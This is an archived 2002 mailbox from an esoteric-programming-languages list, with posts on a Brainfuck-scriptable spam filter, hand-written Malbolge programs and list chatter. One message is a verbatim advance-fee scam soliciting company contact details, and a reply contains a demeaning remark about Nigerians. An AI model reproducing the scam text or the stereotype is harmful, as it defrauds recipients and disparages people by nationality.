ICAgIHsgNywgNiwgNiwgNywgNiwgNiwgNCwgMywgMyB9LA0KICAgICAgeyA3
LCA2LCA4LCA3LCA2LCA4LCA0LCAzLCA1IH0sDQogICAgICB7IDgsIDgsIDcs
IDgsIDgsIDcsIDUsIDUsIDQgfSwNCiAgICB9Ow0KICBmb3IgKCBqID0gMDsg
aiA8IDU7IGorKyApDQogICAgaSArPSBvW3kgLyBwOVtqXSAlIDldW3ggLyBw
OVtqXSAlIDldICogcDlbal07DQogIHJldHVybiAoIGkgKTsNCn0NCg0K
---696251126-1306589166-1022834898=:27281--





From esoteric@oiva.sange.fi Fri May 31 19:16:03 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dp40-0004oy-00; Fri, 31 May 2002 19:15:40 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 31 May 2002 19:15:32 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dp3r-0004os-00; Fri, 31 May 2002 19:15:31 +0300
Received: with LISTAR (v0.129a; list chat); Fri, 31 May 2002 19:15:30 +0300 (EEST)
Received: from mailout09.sul.t-online.com ([194.25.134.84])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dp3p-0004om-00
	for chat@esoteric.sange.fi; Fri, 31 May 2002 19:15:29 +0300
Received: from fwd05.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
	id 17Dp3n-0003EX-04; Fri, 31 May 2002 18:15:27 +0200
Received: from dreizehn (320072378593-0001@[217.80.41.113]) by fwd05.sul.t-online.com
	with smtp id 17Dp3d-1MDukaC; Fri, 31 May 2002 18:15:17 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <chat@esoteric.sange.fi>
Subject: [chat] Using Brainfuck to fight spam
Date: Fri, 31 May 2002 18:15:44 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKKEBDCIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc

I've written a POP3 proxy that can be used to filter spam mails, do DNSBL
lookup and strip HTML. (Works on both Win32 & Linux, although recently i've
only used it on Win32 so it might be broken on nix). Ideal if your mail
client is outofl00k.

What might be of interest to you is that you can write filter programs in
brainfuck. It works like this:

There are filter rules (and ignore rules), that are lists of expressions.
Example:

FILTER_THESE_SENDERS = [
    "*.tw",
    "*@aol.com",
    ]

tags anything from taiwan and from aol as spam. If you prefix the expression
with

!bf:

you can add a brainfuck programm, as in

FILTER_THESE_SENDERS = [
    "!bf:++,++[.....

which will be executed at runtime with one "argument", the token. (There are
rules for "subject:", "from:", "to:" and so on - you can add additional
keywords, too). The argument is feeded to the "," instruction, which will
return 0 if the end of the string has been reached. The "." instruction, if
executed, causes the mail to be tagged as spam; if the code does not produce
any output, it is considered as non-spam.

More detailed explanation: http://p-nand-q.com/pop3filter.htm






From esoteric@oiva.sange.fi Sat Jun 01 00:14:37 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DtjA-0005aW-00; Sat, 01 Jun 2002 00:14:28 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 01 Jun 2002 00:14:20 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dtie-0005aE-00; Sat, 01 Jun 2002 00:13:56 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 01 Jun 2002 00:13:49 +0300 (EEST)
Received: from [65.162.45.158] (helo=luminet.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dti2-0005a8-00
	for lang@esoteric.sange.fi; Sat, 01 Jun 2002 00:13:20 +0300
Received: (from dseaman@localhost) by localhost (8.7.5/8.7.3) id QAA00097 for lang@esoteric.sange.fi; Fri, 31 May 2002 16:05:14 -0500
Date: Fri, 31 May 2002 16:05:14 -0500
From: David Seaman <dseaman@luminet.net>
Message-Id: <200205312105.QAA00097@luminet.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dseaman@luminet.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dseaman@luminet.net
Precedence: bulk
X-list: misc


	On Fri, 31 May 2002 Panu A Kalliokoski wrote:

> This has opened my eyes a lot - I never spent much time examining the 
> translation tables, which, after all, are the soul of Malbolge. It seems 

Just the second table is the soul of Malbolge.  The first one is just
obfuscation.  One of the first things I did in exploring Malbolge was
to rewrite the first table out of the specification.  Within the next
couple of weeks, I will post the unobfuscated Malbolge specification at
http://www.luminet.net/~dseaman/malbolge.html.  If it's not there by
mid-June, get on my case about it.

> that some actual (in-core) instructions are indestructible, and if you put 
> them into appropriate offsets, they can work as any command one wants to.

Only the Jump command is indestructible. Because of the order it does things,
it changes the program counter before it trashes the memory it points to.  So,
it trashes the word before the next byte to be executed, instead of the jump
command itself.

The rest of the commands trash themselves by replacing themselves with a
byte from the lookup table.  The lookup table is a permutation--it contains
every legal byte once.  This permutation has cycles of 68, 9, 6, 5, 4 and 2.
So, the instructions come around again, eventually.  In that sense they are
indestructible, although there are no singleton cycles.

> What I find worrying in this jewel is that it relies on filling the 
> memory with a pattern to allow for the jumps. This means it would be very 
> hard to put _two_ loops in the same program...

The beauty of it is, that issue never comes up, since I haven't yet figured
out how to break out of a loop.  So if I have one infinite loop, it will
never get to the second one :).  But while I was finishing up on this, I
thought of a better way to do things, which I think may allow me to write
more complex programs.  I don't want to reveal it just yet, so that I can
get a head start on my 99 Bottles program.  (I'm not sure that much is actually
possible, but then again, I'm not sure it isn't.)

> How did you come up with the command cycle that causes the putc() calls 
> and data pointer jumps?

This has to do with finding permutation-cycles that contain only the
instructions you want, and none that you don't.  Undefined instructions
are treated as no-ops, and the jump instruction is indestructible, so
I needed to find a loop containing a Print instruction and a Load D instruction
followed by a Jump.  These instructions don't have to execute every iteration
of the loop.  By coincidence (I assume), the 6-cycle permutation, when placed
at address 49 (or something congruent to 49 modulo 94), contains words
interpreted as Print and Load D, and four undefined no-op instructions.

> Of course, the loop is a result of some five factors that just happen to
> be right, at most two of which I think could have been made on purpose
> (such as the indestructibility of command '0'). More complicated things
> would require all the more coincidents factors, and the possibility of
> finding those would degrade exponentially...

I got lucky in several ways.  The magic address of 49 was in a nice location,
so it didn't waste much space after the initialization code (which loads "y"
into A by rotating it 10 times), and wasn't so low that I needed to waste
bytes moving it up to address 49+94.  The luckiest thing of all is how the
Jump instruction landed where it had a code of 48, so that it could double
as the last byte of the program, which determines what to fill memory with.
Along with that, the second-to-last byte needed certain allowable values
to make the memory-filling scheme work out; the Print instruction I
originally intended did not work, but the Load D instruction, which was
in the same instruction-permutation-cycle, did work!

On the other hand, there are a large number of possible coincidences, so
maybe finding some is not as unlikely as it seems.  Each modulo-94 address
has its own characteristics.  Putting in a No-op instruction or changing
the order of doing things opens up whole new sets of possibilities each
time you change something.

I'm curious, though, what your "five factors" are, and which of them you
think might be intentional.  I would also be curious to find out which
things actually are--Ben, are you on this list?.

> Anyway, thank you for this very interesting piece of code.

You're welcome.

David.





From esoteric@oiva.sange.fi Sat Jun 01 02:24:32 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dvkm-0005qW-00; Sat, 01 Jun 2002 02:24:16 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 01 Jun 2002 02:24:09 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Dvjg-0005qQ-00; Sat, 01 Jun 2002 02:23:08 +0300
Received: with LISTAR (v0.129a; list lang); Sat, 01 Jun 2002 02:23:00 +0300 (EEST)
Received: from rwcrmhc53.attbi.com ([204.127.198.39])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17DvjX-0005qK-00
	for lang@esoteric.sange.fi; Sat, 01 Jun 2002 02:23:00 +0300
Received: from plutonium.mad.scientist.com ([12.253.59.46])
          by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020531232247.WMGO11659.rwcrmhc53.attbi.com@plutonium.mad.scientist.com>
          for <lang@esoteric.sange.fi>; Fri, 31 May 2002 23:22:47 +0000
Message-Id: <5.1.0.14.0.20020531170205.0364dd80@mail.mines.edu>
X-Sender: bolmstea@mail.mines.edu
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 31 May 2002 17:22:24 -0600
To: lang@esoteric.sange.fi
From: Ben <bem@mad.scientist.com>
Subject: [lang] Re: Malbolge
In-Reply-To: <200205312105.QAA00097@luminet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: bem@mad.scientist.com
Precedence: bulk
X-list: misc

At 16:05 2002/05/31 -0500, David Seaman wrote:
>[...]
>I'm curious, though, what your "five factors" are, and which of them you
>think might be intentional.  I would also be curious to find out which
>things actually are--Ben, are you on this list?.

I've been invoked...

None of the factors were intentional.  Actually, I think the jump command's
indestructability is a 'bug' in the interpreter (I put it in quotes because
about half the Malbolge programmers think the interpreter is a reference
implementation; the other half thinks that the docs are correct).  It was
certainly not what I wanted... which was that the only real loop in a
Malbolge program would be the one that automatically happens when the IP
moves from the top of the address space to the bottom.  All else would be
complicated conditionals.  (If only because that was the only indestructable
loop.)

On the other hand, instruction loops were in my mind when I devised the
trashing scheme, but I never worked out the full effects--just made something
that was, in my mind, probably sufficiently complicated that interesting
behaviour would fall out.

On the note of reducing/eliminating the memory-size limitation--the easiest
way would probably be to increase the word size, as that's what caused the
limitation in the first place.

Overall, impressive code you wrote.  Not least because (I think) you are
the first programmer to write a Malbolge program by hand.

Ben






From esoteric@oiva.sange.fi Sat Jun 01 08:49:15 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17E1kh-0007OP-00; Sat, 01 Jun 2002 08:48:35 +0300
Received: with LISTAR (v0.129a; list misc); Sat, 01 Jun 2002 08:48:28 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17E1kZ-0007OJ-00; Sat, 01 Jun 2002 08:48:27 +0300
Received: with LISTAR (v0.129a; list chat); Sat, 01 Jun 2002 08:48:26 +0300 (EEST)
Received: from mailout07.sul.t-online.com ([194.25.134.83])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17E1kX-0007OD-00
	for chat@esoteric.sange.fi; Sat, 01 Jun 2002 08:48:25 +0300
Received: from fwd08.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 17E1kV-0000XD-05; Sat, 01 Jun 2002 07:48:23 +0200
Received: from dreizehn (320072378593-0001@[217.0.87.163]) by fwd08.sul.t-online.com
	with smtp id 17E1kT-1TqKm0C; Sat, 1 Jun 2002 07:48:21 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <chat@esoteric.sange.fi>
Subject: [chat] a hires website
Date: Sat, 1 Jun 2002 07:48:49 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKEEBFCIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc

Check 

http://www.guimp.com/

You can play "pong" on 20x20 pixels ;)







From esoteric@oiva.sange.fi Sun Jun 02 22:47:16 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EbJY-000CC5-00; Sun, 02 Jun 2002 22:46:56 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 02 Jun 2002 22:46:48 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EbJP-000CBz-00; Sun, 02 Jun 2002 22:46:47 +0300
Received: with LISTAR (v0.129a; list chat); Sun, 02 Jun 2002 22:46:46 +0300 (EEST)
Received: from femail11.im.home.ne.jp ([203.165.11.233])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EbJM-000CBt-00
	for chat@esoteric.sange.fi; Sun, 02 Jun 2002 22:46:44 +0300
Received: from cj3297404-a ([61.25.105.4]) by femail11.im.home.ne.jp
          with ESMTP
          id <20020602194630.EOWV27673.femail11.im.home.ne.jp@cj3297404-a>
          for <chat@esoteric.sange.fi>; Mon, 3 Jun 2002 04:46:30 +0900
Date: Mon, 03 Jun 2002 04:46:28 +0900
From: Shinya Hayakawa <tetryl@tokyoprogrammer.com>
To: chat@esoteric.sange.fi
Subject: [chat] Re: Using Brainfuck to fight spam
In-Reply-To: <KGEPLGONBPHFGIHOBLCKKEBDCIAA.gerson.kurz@t-online.de>
References: <KGEPLGONBPHFGIHOBLCKKEBDCIAA.gerson.kurz@t-online.de>
Message-Id: <20020603041358.449B.TETRYL@tokyoprogrammer.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver. 2.00.11
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: tetryl@tokyoprogrammer.com
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: tetryl@tokyoprogrammer.com
Precedence: bulk
X-list: misc

Hi,

On Fri, 31 May 2002 18:15:44 +0200
Gerson.Kurz@t-online.de (Gerson Kurz) wrote:
> you can add a brainfuck programm, as in
> 
> FILTER_THESE_SENDERS = [
>     "!bf:++,++[.....
> 
> which will be executed at runtime with one "argument", the token. (There are
> rules for "subject:", "from:", "to:" and so on - you can add additional
> keywords, too). The argument is feeded to the "," instruction, which will
> return 0 if the end of the string has been reached. The "." instruction, if
> executed, causes the mail to be tagged as spam; if the code does not produce
> any output, it is considered as non-spam.
> 
> More detailed explanation: http://p-nand-q.com/pop3filter.htm

It is very interesting.
Are there some examples of rules using bf?

I just thought one rule..

"!bf:,-----------------------------------------------------------------
-[.],------------------------------------------------------------------
---------[.],----------------------------------------------------------
-----------------[.]"

It matches a string that start with the 'foo', doesn't it?

--
SH
tetryl@tokyoprogrammer.com







From esoteric@oiva.sange.fi Mon Jun 03 12:03:42 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Enjs-000EZo-00; Mon, 03 Jun 2002 12:02:56 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 03 Jun 2002 12:02:49 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Eni0-000EZa-00; Mon, 03 Jun 2002 12:01:00 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 03 Jun 2002 12:00:52 +0300 (EEST)
Received: from ns2.sztaki.hu ([193.225.86.1] helo=lutra.sztaki.hu)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Enhr-000EZT-00
	for lang@esoteric.sange.fi; Mon, 03 Jun 2002 12:00:51 +0300
Received: from CONVERSION-DAEMON.sztaki.hu by sztaki.hu (PMDF V6.1-1 #30524)
 id <0GX400201H1AV9@sztaki.hu> for lang@esoteric.sange.fi; Mon,
 03 Jun 2002 11:00:46 +0200 (MEST)
Received: from sztaki.hu by sztaki.hu (PMDF V6.1-1 #30524)
 id <0GX400201H19V6@sztaki.hu> for lang@esoteric.sange.fi; Mon,
 03 Jun 2002 11:00:45 +0200 (MEST)
Resent-date: Mon, 03 Jun 2002 11:00:45 +0200 (MEST)
Date: Mon, 03 Jun 2002 11:00:41 +0200
From: Pal Benko <benko@sztaki.hu>
Subject: [lang] Re: Malbolge
In-reply-to: <5.1.0.14.0.20020531170205.0364dd80@mail.mines.edu>
Sender: benko@sztaki.hu
To: lang@esoteric.sange.fi
Message-id: <7458-Mon03Jun2002110041+0200-benko@lutra.sztaki.hu>
MIME-version: 1.0
X-Mailer: emacs 20.6.1 (via feedmail 8 I)
Content-type: text/plain; charset=ISO-8859-2
Content-transfer-encoding: quoted-printable
Resent-Message-Id: <E17Enhr-000EZT-00@oiva.sange.fi>
Resent-From: benko@sztaki.hu
Resent-Bcc:
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: benko@sztaki.hu
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: benko@sztaki.hu
Precedence: bulk
X-list: misc

From benko Mon Jun  3 11: 00 MES 2002
References: <5.1.0.14.0.20020531170205.0364dd80@mail.mines.edu>

> Overall, impressive code you wrote.  Not least because (I think) you
> are the first programmer to write a Malbolge program by hand.

I'm impressed, too.  But have you seen

http://www.antwon.com/index.php?p=3D234

?  (Well, I don't really know whether those programs were written by
hand or not.)

Benko Pal






From esoteric@oiva.sange.fi Mon Jun 03 20:12:44 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EvNa-000GIR-00; Mon, 03 Jun 2002 20:12:26 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 03 Jun 2002 20:12:19 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EvNS-000GIL-00; Mon, 03 Jun 2002 20:12:18 +0300
Received: with LISTAR (v0.129a; list chat); Mon, 03 Jun 2002 20:12:16 +0300 (EEST)
Received: from mailout03.sul.t-online.com ([194.25.134.81])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17EvNP-000GIF-00
	for chat@esoteric.sange.fi; Mon, 03 Jun 2002 20:12:15 +0300
Received: from fwd08.sul.t-online.de 
	by mailout03.sul.t-online.com with smtp 
	id 17EvNI-0007Ye-0D; Mon, 03 Jun 2002 19:12:08 +0200
Received: from dreizehn (320072378593-0001@[217.80.41.33]) by fwd08.sul.t-online.com
	with smtp id 17EvN4-0ZajTsC; Mon, 3 Jun 2002 19:11:54 +0200
From: Gerson.Kurz@t-online.de (Gerson Kurz)
To: <chat@esoteric.sange.fi>
Subject: [chat] AW: Re: Using Brainfuck to fight spam
Date: Mon, 3 Jun 2002 19:12:28 +0200
Message-ID: <KGEPLGONBPHFGIHOBLCKCEBLCIAA.gerson.kurz@t-online.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <20020603041358.449B.TETRYL@tokyoprogrammer.com>
X-Sender: 320072378593-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: chat-bounce@esoteric.sange.fi
Errors-to: chat-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
Reply-to: chat@esoteric.sange.fi
X-list: chat
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: Gerson.Kurz@t-online.de
Precedence: bulk
X-list: misc


> It is very interesting.
> Are there some examples of rules using bf?

I've looked at pattern match against "*@hotmail.com" which is not so
difficult - just check if addr[-12:] matches "@hotmail.com". There are two
problems:

- negative indices cause python to raise an exception -> I'll probably add
negative-index wrapping

- it is much easier to code if the rule is relaxed: Printing '0' will tag
the message as non-spam, and '1' as spam. This makes it easier to abort
earlier (if addr[-12] <> '@' the code can abort)

Anyway, it was just a joke idea - you know me.







From esoteric@oiva.sange.fi Mon Jun 10 19:08:44 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HRiA-000ITd-00; Mon, 10 Jun 2002 19:08:07 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 10 Jun 2002 19:07:59 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HRfF-000ITG-00; Mon, 10 Jun 2002 19:05:05 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 10 Jun 2002 19:04:58 +0300 (EEST)
Received: from [212.100.64.102] (helo=mail.esoteric.sange.fi)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17HRf4-000IT8-00
	for lang@esoteric.sange.fi; Mon, 10 Jun 2002 19:04:57 +0300
From: "HAMZA PIUS" <hampius@wowmail.com>
Date: Mon, 10 Jun 2002 21:04:42
To:lang@esoteric.sange.fi
Subject: [lang] FOREIGN PARTNER REQUIRED.
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <E17HRf4-000IT8-00@oiva.sange.fi>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: hampius@wowmail.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: hampius@wowmail.com
Precedence: bulk
X-list: misc

 ATTN: PRESIDENT/C.E.O







DEAR SIR,





 RE: BUSINESS PROPOSAL.





MY NAME IS BARRISTER HAMZA PIUS AND I AM AN ATTORNEY
AND I REPRESENT A
CONSORTIUM

  OF RETIRED GENERALS IN MYCOUNTRY NIGERIA.

IN LINE WITH SOME OF MY RESPONSIBILITES, I OFTEN

SOURCE FOR FOREIGN INVESTMENTS, WHICH THEY
COULDINVESTIN.

 PRESENTLY WE HAVE SOME FUNDS AT OUR DESPOSAL TO THE

 TUNE OF US$ 38.6 MILLION IN WHICH WE INTEND TO INVEST


 EITHER WITH YOUR ORGANISATION OR ANY VIABLEINVESTMENT


 RECOMMENDED BY YOU. PLEASE, IF YOU ARE INTERESTED IN


 ASSISTING US INVEST THESE FUNDS, KINDLY SHOW
YOURREADINESS AND

WILLINGNESS TO ASSIST US BY PROVIDING US WITH YOUR

 COMPANY NAME, COMPANY ADDRESS, TELEPHONE AND FAX

 NUMBERS SO THAT WE COULD IMMEDIATELY BEGIN

COMMUNICATIONS WITH YOU AND START ALL NECESSARY

 PROCESSES OF SENDING THE FUNDS
OVERSEAS,FORYOURIMMEDIATE INVESTMENT.

WHEN WE HAVE HEARD FROM YOU, WE SHALL THEN PROVIDE YOU


 WITH A DRAFT AGREEMENT BETWEEN THE CONSORTIUM ANDYOUR


 COMPANY, AND ALSO TO BRING YOU INTO THE COMPLETE

PICTURE OF HOW WE INTEND TO HAVE THE FUNDS SAFELY TH

YOU. TO MAKE THE ENTIRE TRANSACTION LEGAL, WE HAVE TO


 FOLLOW ALL LAID DOWN PROCEDURE AND PROPERLY DOCUMENT


 THE TRANSACTION, IN TOTAL SEMBLANCE TO ALLGOVERNEMNTAL
REGULATIONS.

 YOU CAN REACH ME AT THE ABOVE  EMAIL OR hampius@hotmail.com 

I AWAIT YOUR PROMPT RESPONSE.

REGARDS,



BARRISTER HAMZA PIUS







From esoteric@oiva.sange.fi Tue Jun 11 00:14:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HWUq-000JFn-00; Tue, 11 Jun 2002 00:14:40 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 11 Jun 2002 00:14:32 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HWUP-000JFh-00; Tue, 11 Jun 2002 00:14:13 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 11 Jun 2002 00:14:05 +0300 (EEST)
Received: from rebecca.tiscali.nl ([195.241.76.181])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HWUG-000JFa-00
	for lang@esoteric.sange.fi; Tue, 11 Jun 2002 00:14:04 +0300
Received: from dds.nl (xs241-246-202.dial.tiscali.nl [195.241.246.202])
	by rebecca.tiscali.nl (Postfix) with ESMTP id 75B7E8A4994
	for <lang@esoteric.sange.fi>; Mon, 10 Jun 2002 23:13:52 +0200 (MET DST)
Sender: root@rebecca.tiscali.nl
Message-ID: <3D052096.87A43FF6@dds.nl>
Date: Mon, 10 Jun 2002 23:56:38 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
References: <E17HRf4-000IT8-00@oiva.sange.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

How did this idiot get in?  Well, at least he's a Nigerian, so that might
partially excuse his awful English.  But spam isn't acceptable from any
country.  And does he really think to find anyone this way?

Anyway, this must be an automated spam sender, because no human would be so
stupid as to post this sort of stuff to a mailing list obviously intended for
esoteric languages, and because I received a private email which was exactly
the same.  I propose that we allow only subscribed people to post to the list.
This eliminates spambots, which are too stupid to understand about subscribing,
while not bothering real posters since any human is smart enough to subscribe
to the list.






From esoteric@oiva.sange.fi Tue Jun 11 01:39:24 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HXoT-000JUJ-00; Tue, 11 Jun 2002 01:39:01 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 11 Jun 2002 01:38:54 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HXo2-000JUC-00; Tue, 11 Jun 2002 01:38:34 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 11 Jun 2002 01:38:26 +0300 (EEST)
Received: from bumba-din.bumba.net ([66.134.216.210] helo=bumba.net)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17HXnt-000JU6-00
	for lang@esoteric.sange.fi; Tue, 11 Jun 2002 01:38:25 +0300
Received: (from hmaon@localhost)
	by bumba.net (8.11.6/8.11.0) id g5AMcIH02113
	for lang@esoteric.sange.fi; Mon, 10 Jun 2002 18:38:18 -0400
Date: Mon, 10 Jun 2002 18:38:18 -0400
From: Greg Velichansky <hmaon@bumba.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: FOREIGN PARTNER REQUIRED.
Message-ID: <20020610223818.GA2084@bumba.net>
